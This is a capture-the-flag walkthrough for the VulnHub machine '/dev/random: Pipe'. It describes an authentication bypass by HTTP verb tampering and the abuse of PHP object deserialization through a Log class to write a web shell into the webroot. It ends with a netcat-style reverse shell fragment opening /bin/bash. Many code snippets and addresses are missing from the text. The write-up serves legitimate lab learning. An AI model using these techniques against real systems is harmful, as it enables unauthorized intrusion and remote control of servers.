# Pipe

Name /dev/random: Pipe
Date release 2 Oct 2015
Author Sagi-
Link https://www.vulnhub.com/entry/devrandom-pipe,124/

# Machine Info

Machine IP:

# Start of enumeration

GET requests to are redirected to index.php and asks for credentials.
Changing the request to POST or even something that does not exist like "GETS", we can bypass and get the index.php page.

Looking at the source-code we find an interesting JS file:

Accessing we can find more files.

The file log.php.BAK file seems to be a logger:

Looking back to the index.php source-code we can see the parameters that are submitted in the form:

We now intercept the request for “Show Artist Info” in burp:

Decoding the param value:

It seems that in this case a Info type object is being created. We know that a Log object will invoke the logger file and allow us to write to the webroot. We now attempt to tweak the request so that we can write some data to the webroot via the Log object.

# Writing to disk via parameter

Lets attempt to write a simple php web shell to /scriptz/rce.php:


It works! Our rce.php file is there.

# Reaching RCE

The remote command execution can be triggered via

# Reverse Shell

Getting a reverse shell is trivial: 4444 -e /bin/bash